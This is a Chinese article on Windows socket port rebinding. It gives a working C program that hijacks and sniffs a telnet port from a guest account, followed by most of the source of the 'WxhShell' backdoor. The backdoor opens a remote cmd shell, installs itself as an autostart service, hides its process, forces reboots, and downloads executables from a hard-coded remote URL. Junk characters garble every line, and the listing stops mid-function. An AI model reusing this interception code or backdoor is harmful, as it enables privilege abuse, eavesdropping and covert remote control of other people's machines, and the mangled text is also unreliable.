在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
6yUThv.G# s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
};}N1[D *!%n`BR ' saddr.sin_family = AF_INET;
<#"_Qgdix )mAD <y+ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
)@U~Li/+ IDF0nx] bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
0n4( Rj|}2 <2kv/ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
GNwFB)?j G3!O@j!7w$ 这意味着什么?意味着可以进行如下的攻击:
S{F\_'% RWu<
dY#ym 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Wn=I[K&& s!D?% 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
=^ Ws/k n]3'N58 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
B
k\KG h7.jWJTo 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
P!j*4t 3qu?qD 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
*
#z@b &\5bo=5V 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
txMC^-J2l YsiH=x 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
J^DyhCs Iq19IbR8 #include
; %AgKgV
#include
v^t oe #include
3AP= #include
#@V<{/;49 DWORD WINAPI ClientThread(LPVOID lpParam);
rK;<-RE<[: int main()
.!2
u#A {
41.xi9V2 WORD wVersionRequested;
Q>\DM'{:4 DWORD ret;
4u0?[v[Hu WSADATA wsaData;
%@aC5^Ovy+ BOOL val;
F!?f|z,/ SOCKADDR_IN saddr;
.A/xH
x SOCKADDR_IN scaddr;
-!T24/l int err;
KL(sVj^e SOCKET s;
\ ux{J SOCKET sc;
/{[tU-}qJ int caddsize;
!)J$f_88D HANDLE mt;
4}0YLwgJ DWORD tid;
PbxQ \. wVersionRequested = MAKEWORD( 2, 2 );
*[jq& err = WSAStartup( wVersionRequested, &wsaData );
0Nk!.gY if ( err != 0 ) {
By*YBZ printf("error!WSAStartup failed!\n");
*cXi*7|= return -1;
u,=?|M\ }
@b5$WKPX saddr.sin_family = AF_INET;
4`V&Yqwl .UN?Ak*R //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
LZ(K{+U/ x>4p6H{]0' saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
[oXr6M: saddr.sin_port = htons(23);
WkpHe if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
cs: ?Wq ^ {
\x\(36\u printf("error!socket failed!\n");
r4?|sAK return -1;
2>CR] }
NSzTl-eS val = TRUE;
KNF{NFk //SO_REUSEADDR选项就是可以实现端口重绑定的
Cnu])R if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
NOAz"m+o {
Oq}7q!H printf("error!setsockopt failed!\n");
64'sJc. return -1;
;D(6Gy9~ }
Lo)T //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
v[DxWs8q //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Kb/qM}jS //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
']^]z".H Xoq - if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
!Ap*PL {
Iy4REP| ret=GetLastError();
Cf
v1nUW printf("error!bind failed!\n");
^7:UC\_ return -1;
B\ZCJaMb }
\z@:OR, listen(s,2);
R_:lp\S& while(1)
x97L>>| {
Psf{~ (Ii caddsize = sizeof(scaddr);
ij}{H#0S- //接受连接请求
x%dVD sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
yZmeke)_ if(sc!=INVALID_SOCKET)
Pvm pWa {
p~-)6)We? mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
R3#| *)q if(mt==NULL)
9`&sZ|"3 {
#! (2@N8 printf("Thread Creat Failed!\n");
`0W+(9} break;
Q:ql~qew }
>v1.Gm }
,s,AkH CloseHandle(mt);
!<h-2YF<M }
Yqt~h closesocket(s);
n(Um/ WSACleanup();
S}
&1_I return 0;
!G'wC0 }
qzu(4*Gk6 DWORD WINAPI ClientThread(LPVOID lpParam)
sei%QE]!/ {
?uF3Q)rCk SOCKET ss = (SOCKET)lpParam;
l5enlYH SOCKET sc;
!Okl3
!fC unsigned char buf[4096];
C5X!H_p SOCKADDR_IN saddr;
5VGZ5,+<< long num;
Ozsvsa DWORD val;
LO%OH
u}] DWORD ret;
*4Z! 5iOs //如果是隐藏端口应用的话,可以在此处加一些判断
raR=k!3i //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
F]RZP/D` saddr.sin_family = AF_INET;
:{-/b saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
LS<*5HWX saddr.sin_port = htons(23);
u*T#? W? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
k+eeVy {
&i*e&{L7 printf("error!socket failed!\n");
6ziBGU#.- return -1;
2FN# 63 }
QghL=
val = 100;
,Mn`kL<F if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
qt.= {
z
E\~Oa; ret = GetLastError();
:M@#. return -1;
"Q[?W(SA }
pO N@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
T^2o'_: {
w!Ii ret = GetLastError();
|O*?[|`H return -1;
;jmT5XzL }
\?$kpV if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
l~x
6R~q {
C]krJse@ printf("error!socket connect failed!\n");
07vzVsQ}p closesocket(sc);
u X(#+ closesocket(ss);
}x"8v&3CM_ return -1;
[qxDCuxq }
yONX?cS while(1)
1@q"rPE^ {
x!fRT.,} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
EV
R>R //如果是嗅探内容的话,可以再此处进行内容分析和记录
J>+~//C //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
@:P:`Zk num = recv(ss,buf,4096,0);
y6>fK@K~ if(num>0)
+GNXV-S send(sc,buf,num,0);
41i#w;ojI else if(num==0)
/)V8X#, break;
I5W#8g!{ num = recv(sc,buf,4096,0);
"]yfx@)_ if(num>0)
odTIz{9qG send(ss,buf,num,0);
}t1J`+x% else if(num==0)
>oyZD^gj break;
GOX2'N\h^ }
j"vL$h closesocket(ss);
e @|uG % closesocket(sc);
C=DC g return 0 ;
rG'W#!^* }
]KQBek#DD H|<Zm:.%$ +QEiY~i ==========================================================
Q\z9\mMG- w[/m:R?eX 下边附上一个代码,,WXhSHELL
UQJ
{s?x
NU ==========================================================
WCg&* AL[,&_&uV #include "stdafx.h"
x,QXOh\a 77%I%<# #include <stdio.h>
q) y<\cEO #include <string.h>
o3oTu #include <windows.h>
\!4_m8? #include <winsock2.h>
5:SS2>~g #include <winsvc.h>
gO_d!x* #include <urlmon.h>
<!PbD *NoixV1> #pragma comment (lib, "Ws2_32.lib")
2h`Tn{&1/ #pragma comment (lib, "urlmon.lib")
d0 8:lYQ byX)4& #define MAX_USER 100 // 最大客户端连接数
m 8P`n #define BUF_SOCK 200 // sock buffer
+y|Q7+ #define KEY_BUFF 255 // 输入 buffer
\s,~|0_V X 3(*bj>P #define REBOOT 0 // 重启
'~AR|8q? #define SHUTDOWN 1 // 关机
+sx$%N /vw$3,*z #define DEF_PORT 5000 // 监听端口
Ev0=m;@_ [(Ihu e #define REG_LEN 16 // 注册表键长度
X`fer%` #define SVC_LEN 80 // NT服务名长度
a}'dIDj MD[;Ha // 从dll定义API
B;J8^esypD typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
`5 MK(K
: typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
3NN)ql typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Up\ k67 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
2X 0<-Y#' Uh3N#O // wxhshell配置信息
N) struct WSCFG {
:rEZR ` int ws_port; // 监听端口
qzii[Mf char ws_passstr[REG_LEN]; // 口令
&|fWtl;43 int ws_autoins; // 安装标记, 1=yes 0=no
LMI7Ih; char ws_regname[REG_LEN]; // 注册表键名
:O]US)VSj char ws_svcname[REG_LEN]; // 服务名
b-YmS=* char ws_svcdisp[SVC_LEN]; // 服务显示名
4,?WNPqo char ws_svcdesc[SVC_LEN]; // 服务描述信息
\-r"%@OkW char ws_passmsg[SVC_LEN]; // 密码输入提示信息
!>)o&sM int ws_downexe; // 下载执行标记, 1=yes 0=no
pSodTG$E char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Ceew~n{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
tiF-lq
Jj~|2Zt };
?vmoRX _a zJ> // default Wxhshell configuration
NF'<8{~ struct WSCFG wscfg={DEF_PORT,
!k!1h%7q "xuhuanlingzhe",
2Wr^#PY60 1,
Mt&n|']`8 "Wxhshell",
UD ;UdehC "Wxhshell",
z+<ofZ(. "WxhShell Service",
aq- | "Wrsky Windows CmdShell Service",
TEi1,yc "Please Input Your Password: ",
=-/sB>-C 1,
q I*7ToBJ "
http://www.wrsky.com/wxhshell.exe",
gpogv
- "Wxhshell.exe"
+6:jm54 };
u4ZOHy_O^ )a<MW66 // 消息定义模块
X~Hm.qIR char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
$.zd,}l@L char *msg_ws_prompt="\n\r? for help\n\r#>";
;KT/;I char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Zm6|aHx8v char *msg_ws_ext="\n\rExit.";
2Mj_wc char *msg_ws_end="\n\rQuit.";
Wjr^: d char *msg_ws_boot="\n\rReboot...";
g9j&\+h^ char *msg_ws_poff="\n\rShutdown...";
LR3>_t char *msg_ws_down="\n\rSave to ";
h;):TFiC A+(+PfU char *msg_ws_err="\n\rErr!";
A[uB)wWsn char *msg_ws_ok="\n\rOK!";
C]Q}HI#G Ey{p;;H char ExeFile[MAX_PATH];
^#U[v7y int nUser = 0;
1P
WTbd l HANDLE handles[MAX_USER];
<7`U1DR= int OsIsNt;
Ezr q2/~Q ?%$~Bb _ SERVICE_STATUS serviceStatus;
-FW^fGS+ SERVICE_STATUS_HANDLE hServiceStatusHandle;
:"cKxd !\cVe;<r // 函数声明
mSGpxZ,IE int Install(void);
]d.e(yCuE int Uninstall(void);
nX8ulGG s int DownloadFile(char *sURL, SOCKET wsh);
0bOT&Z^ int Boot(int flag);
#"fn; void HideProc(void);
[}dPn61 int GetOsVer(void);
gZ8JfA_\R( int Wxhshell(SOCKET wsl);
cUn>gT void TalkWithClient(void *cs);
P_)=sj!>- int CmdShell(SOCKET sock);
l[C_vUg int StartFromService(void);
lv+:
` int StartWxhshell(LPSTR lpCmdLine);
V=8npz Y7;=\/SV VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
\\3 ?ij:v VOID WINAPI NTServiceHandler( DWORD fdwControl );
9+ |W; U5p 3b; // 数据结构和表定义
@mb' !r SERVICE_TABLE_ENTRY DispatchTable[] =
W)8Pq9Hnv {
4vV\vXT * {wscfg.ws_svcname, NTServiceMain},
ElK Md {NULL, NULL}
)a9C3-8Y' };
Q:Ma3El\ g!OcWy)7 // 自我安装
k{U[ U1j int Install(void)
Ctx>#uN6 {
`U&'71B^ char svExeFile[MAX_PATH];
g |H HKEY key;
#qv!1$}2 strcpy(svExeFile,ExeFile);
=`UFg>- *$Zy|&[Z // 如果是win9x系统,修改注册表设为自启动
&.qLE if(!OsIsNt) {
2*a9mi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
oDayfyy4y) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
CeM%?fr5 RegCloseKey(key);
A4Q{(z-? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
n )\(\V7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'p@m`)Z RegCloseKey(key);
AGKT* l.- return 0;
/F6"uZSt4 }
e X6o7a }
+\?+cXSc }
D1@yW}
4 else {
fzOh3FO+ w9n0p0xr< // 如果是NT以上系统,安装为系统服务
G( BSe`f SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
y Pg0:o- if (schSCManager!=0)
7|jy:F,w% {
T Qx<lw SC_HANDLE schService = CreateService
~z")';I| (
xM@s`s|n schSCManager,
!;P[Y"h@r wscfg.ws_svcname,
G~ LQM wscfg.ws_svcdisp,
p.b#RY SERVICE_ALL_ACCESS,
%~kE,^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Onou:kmf1 SERVICE_AUTO_START,
4wGBB{X SERVICE_ERROR_NORMAL,
%UhLCyC/ svExeFile,
L,ax^] NULL,
v#`> NULL,
ydj*Jy' NULL,
g"kET]KP" NULL,
yE(<F2 NULL
K\zb+ );
GG-b)64h` if (schService!=0)
3\{\ al {
UZmo?&y CloseServiceHandle(schService);
4mtO"'| CloseServiceHandle(schSCManager);
Z9q4W:jyS strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
{47Uu%XT strcat(svExeFile,wscfg.ws_svcname);
+XW1,ly~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
E9Dy)f]#W RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
eu~ u-}. RegCloseKey(key);
[9j,5d&m return 0;
94|ZY}8|f }
:UAcS^n7h" }
7I@df.rf6J CloseServiceHandle(schSCManager);
y>#kT }
4\k{E-x $ }
D:?"Rf{) ,-8Xb+!8I return 1;
fY?:SPR+ }
qR_Np5nHF cIa`pU,6A // 自我卸载
3gD <!WI int Uninstall(void)
|T/s>OW {
uEG4^ HKEY key;
Om>?"=yD E PRx- 0S if(!OsIsNt) {
Ciz,1IV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
E:+r.r"Y RegDeleteValue(key,wscfg.ws_regname);
[O|c3; RegCloseKey(key);
!q$>6P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
vu}U2 0@ RegDeleteValue(key,wscfg.ws_regname);
7GG`9!l]D RegCloseKey(key);
tFX<"cAvK return 0;
.j"heYF) }
6}0_o[23 }
JUXBMYFus }
W(?J,8> else {
6c27X/'Z Pgq(yPC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
I9rQX9#B
if (schSCManager!=0)
bY*_6SPK4 {
,,6lQ]wG SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
e%4vvPp if (schService!=0)
}H
saJ=1U {
w@O)b-b|w if(DeleteService(schService)!=0) {
.y_ ~mr&d CloseServiceHandle(schService);
&gJ@"`r4 CloseServiceHandle(schSCManager);
nD)SR return 0;
w40*vBz }
| z_av CloseServiceHandle(schService);
H!,V7R }
B<h4ZK% CloseServiceHandle(schSCManager);
4ji'6JHPg }
pU,\ &3N }
3-n&&< .i*ja* return 1;
u`oJ3mS; }
q$IU!I4 7~ZG"^k // 从指定url下载文件
0"+QWh int DownloadFile(char *sURL, SOCKET wsh)
%u<r_^w5 {
#BS!J&a HRESULT hr;
V \FlKC char seps[]= "/";
^YfAsBs& char *token;
7Wiwnv_" char *file;
*/TO$ ^s char myURL[MAX_PATH];
Do^yer~ char myFILE[MAX_PATH];
8JW0;H< '-G,7!.,r% strcpy(myURL,sURL);
E)X_ token=strtok(myURL,seps);
QV*la= j/ while(token!=NULL)
V/R@=[ {
//Xz file=token;
?V_v=X%w token=strtok(NULL,seps);
8
?:W{GAo }
@wP.Rd <8Z%'C6d GetCurrentDirectory(MAX_PATH,myFILE);
=FFs8&PKys strcat(myFILE, "\\");
gB,Q4acjj strcat(myFILE, file);
r.:f.AY{ send(wsh,myFILE,strlen(myFILE),0);
|Xv\3r send(wsh,"...",3,0);
o(t`XE['< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
~Sd,Tu%: if(hr==S_OK)
]Rp<64I o return 0;
B8upv~U6 else
g K dNgU return 1;
QEx&AT o+R(ux" }
Q-U,1b D6e<1W // 系统电源模块
+,D82V7S int Boot(int flag)
Ag1nxV1M$ {
kll,^A HANDLE hToken;
MUN:}S TOKEN_PRIVILEGES tkp;
u/\Ipk/ ~H]d9C if(OsIsNt) {
_tO2PIL@Z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
\D[~54 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
DFGgyFay tkp.PrivilegeCount = 1;
kYd=DY tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
T(~^X-k AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
BMhuM~?( if(flag==REBOOT) {
lPl JL`e if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
|:SXN4';? return 0;
EkN>5). }
E
6!V0D else {
Yc(lY
N if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
2TaHWw<A return 0;
D,uT#P }
):Ekf2 }
L+)mZb& else {
jqoU;u` if(flag==REBOOT) {
?
5hwz if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
IRI<no return 0;
r8L'C }
`"bp-/ else {
%,) Xi if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
@jD19= return 0;
lx~mn~;x }
6r,zOs-I] }
Ob-k`@_| a.AEF P4N return 1;
=iPQ\_ON@ }
'zTa]y]a QOF'SEq"k // win9x进程隐藏模块
^EKf_w-v void HideProc(void)
2l4`h)_q {
:SpPT B&H
[z HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Qp>Q-+e0 if ( hKernel != NULL )
)i>T\B {
yAVt[+0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
&oiBMk`* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
V{kgDpB FreeLibrary(hKernel);
GP}+c8|2 }
2E3x= I~Zm**L return;
\R<OT%8 }
q0
8 w+tO@ // 获取操作系统版本
OKzk\F6 int GetOsVer(void)
n
6|\ {
b~FmX OSVERSIONINFO winfo;
6@ )bZ| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
rk(0w|zR+ GetVersionEx(&winfo);
uM~j if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Q /\Hc return 1;
tt>=Vt' else
gs77")K& return 0;
RpY#_\^hI }
:dzamHbX9 $eBE pN // 客户端句柄模块
K&noA int Wxhshell(SOCKET wsl)
v<Ux+- {
K<+h/Ok SOCKET wsh;
3^zOG2 struct sockaddr_in client;
NASRr DWORD myID;
g @lAk%V4 4%k_c79> while(nUser<MAX_USER)
?wx|n_3<: {
{GiR-q{t int nSize=sizeof(client);
QRv2%^L wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
]Z\.Vx if(wsh==INVALID_SOCKET) return 1;
<tg>1,C 5<ycF_ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
X;0DQnAI8j if(handles[nUser]==0)
?o9g5Z closesocket(wsh);
[nlW}1)46 else
DFt1{qS8@u nUser++;
lH ^[b[ }
[?hc.COE WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
UpS`KgF"v ;[@<
, return 0;
m>6,{g) }
puz~Rfn#* Vj"B# // 关闭 socket
PQ|kE`' void CloseIt(SOCKET wsh)
K/jC>4/c/ {
i4N'[ P} closesocket(wsh);
X&6p_Lo nUser--;
fgP_NYfOj ExitThread(0);
>LwZ"IEV }
m$:o+IH/ A@EeX4N // 客户端请求句柄
p/xxoU void TalkWithClient(void *cs)
ND7
gxt-B {
F%x8y P-VK=Y1q SOCKET wsh=(SOCKET)cs;
;X !sTs char pwd[SVC_LEN];
$aX}i4F char cmd[KEY_BUFF];
".eD&oX{ char chr[1];
<w.W[ak int i,j;
`bffw:;% n9Z|69W6> while (nUser < MAX_USER) {
ajW[}/) ]w(i,iJ if(wscfg.ws_passstr) {
|jniI( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
WLEjRx //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
K<KyX8$P0 //ZeroMemory(pwd,KEY_BUFF);
iU\WV i=0;
g#;w)- Zj while(i<SVC_LEN) {
&'UYV> 2`Xy}9N/Y // 设置超时
VAF+\Cea= fd_set FdRead;
3ADTYt". struct timeval TimeOut;
INsc!xOQ FD_ZERO(&FdRead);
i3*S`/]p FD_SET(wsh,&FdRead);
hV/$6 8A_ TimeOut.tv_sec=8;
M&
GA:` TimeOut.tv_usec=0;
Kgi%Nd int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
T+m`a# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
wGE:U` ^S'}RZ*> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
1GVJ3VXt pwd
=chr[0]; q3B#rje>h
if(chr[0]==0xd || chr[0]==0xa) { EUU9JnQhBJ
pwd=0; `AeId/A4n
break; T@uY6))>F
} &""~Pn8
i++; b;O]@kBB
}
%lAJ]$m
Sb+pB58&N
// 如果是非法用户,关闭 socket ;=Jj{FoG%
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2P~zYdjS
} C ".&m
=9GL;z:R+
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {e
A4y~k
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5 @bLDP
!-%i" a
while(1) { ^wCjMi(sj
sXkWs2!
ZeroMemory(cmd,KEY_BUFF); UHF.R>Ry
`UL#g![J
// 自动支持客户端 telnet标准 0~Ot
j=0; :bFmw dX
while(j<KEY_BUFF) { /cUcfe#X
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IL?3>$,
cmd[j]=chr[0]; z_~f/
if(chr[0]==0xa || chr[0]==0xd) { 7-.YVM~R
cmd[j]=0; 7OYNH0EH
break; }9
N, +*
} 11}X2j~Ww
j++; _ro^<V$%
} ;(fD R8
a33}CVG-e3
// 下载文件 }:7'C. ."
if(strstr(cmd,"http://")) { ,5HQHo@
send(wsh,msg_ws_down,strlen(msg_ws_down),0); rY_)N^B|nF
if(DownloadFile(cmd,wsh)) ao#{N=mn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nt9M$?\P
else Lnbbv
*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6uW?xB9
} t6BggO"_u
else { j<>E
Fd
;BUJ5
switch(cmd[0]) { j|TcmZGO
>
$DMVtE0
// 帮助 $Mm=5K%
case '?': { mk8xNpk B
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Vrzx;V%
break; F0W4B
} aa2&yc29hp
// 安装 &[$qA
case 'i': { O-y/K2MC*
if(Install()) Fxdu)F,~u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |9T3" _MmJ
else S.1\e"MfI
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \7rFfN3
break; .|iMKRq
} t+7h(?8L
// 卸载 ;=
^kTb`X
case 'r': { UjxEbk5>^
if(Uninstall()) 6&_"dg"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sS(t
}$
else B,@geJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4^cDp!8
break; gcDo o2RE
} ~sj'GEhEg
// 显示 wxhshell 所在路径 !D6
case 'p': { ([SrIG> X
char svExeFile[MAX_PATH]; f.8Jp<S2K
strcpy(svExeFile,"\n\r"); S`g:zb_
strcat(svExeFile,ExeFile); CZ*#FY
send(wsh,svExeFile,strlen(svExeFile),0); )rcFBD{vM
break; XCr\Y`,Z@
} "~- H]9
// 重启 D#Qfa!=g
case 'b': { qNb|6/DG
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8w1TX [b
if(Boot(REBOOT)) z{XN1'/V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ev~/Hf
else { -(*<2Hy4
closesocket(wsh); gwVfiXR4
ExitThread(0); r*?rwtFtg
} Z3jh-{ 0
break; vC$Q4>m
} ?^y%UIzf
// 关机 _
nFsC
case 'd': { 0-Z
sV3I&
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }#0MJ6L
if(Boot(SHUTDOWN)) d'j8P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~q0g7?}&
else { >!u@>
closesocket(wsh); S}fU2Wi
ExitThread(0); Arvxl(R\4
} 0LI:R'P+P[
break; R}~p1=D
} jvfVB'Tmr
// 获取shell W5'07N^
case 's': { 85;hs
CmdShell(wsh); Q2^~^'Yk
closesocket(wsh); OPm?kr
ExitThread(0); `v2]Jk<
break; dFdll3bC
} @q=l H
*=
// 退出 %cIF()
case 'x': { 7\ .Ax
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 00DWXGt20o
CloseIt(wsh); -KzU''
break; lo }[o0X
} Ub1?dk
// 离开 'vgO`
case 'q': { ]J=S\
send(wsh,msg_ws_end,strlen(msg_ws_end),0); w8~J5XS
closesocket(wsh); [w iI
WSACleanup(); >)Ih[0~M
exit(1); 8mjP2
break; s3G\L<~mB
} qF9rY)ifm
} {d|R67~V
} m7:E73:
pB
@l+
n^
// 提示信息 !*46@sb:
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !;Mh5*-
} WIwbf |\
} 2>{_O?UN
X^3 0a*sj
return; )g4oUZDF
} V/j]UK0$
Z&mV1dxR
// shell模块句柄 cz_4cMgxu
int CmdShell(SOCKET sock) "Y&+J@]
{ ?e|'I"
STARTUPINFO si; M
mg#Vy~
ZeroMemory(&si,sizeof(si)); o3H+.u$
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uCK!lq-
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1B3,lYBM
PROCESS_INFORMATION ProcessInfo; 4'BzW Z;_a
char cmdline[]="cmd"; [7Nn%eZC
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >/"XX,3
return 0; 0w >DU^+
} -X@;"0v
&%pB; dk
// 自身启动模式 m[^;HwJ
int StartFromService(void) K{VF_S:
{ z(<
E %
typedef struct ErC~,5dj;n
{ K*J8(/WkD
DWORD ExitStatus; Y51XpcXQ
DWORD PebBaseAddress; S&-sl
DWORD AffinityMask; gB3&AQ
DWORD BasePriority; Fga9
ULONG UniqueProcessId; 3w )S=4lB
ULONG InheritedFromUniqueProcessId; ~QdwoeaD
} PROCESS_BASIC_INFORMATION; +Z XGT
y_"GMw
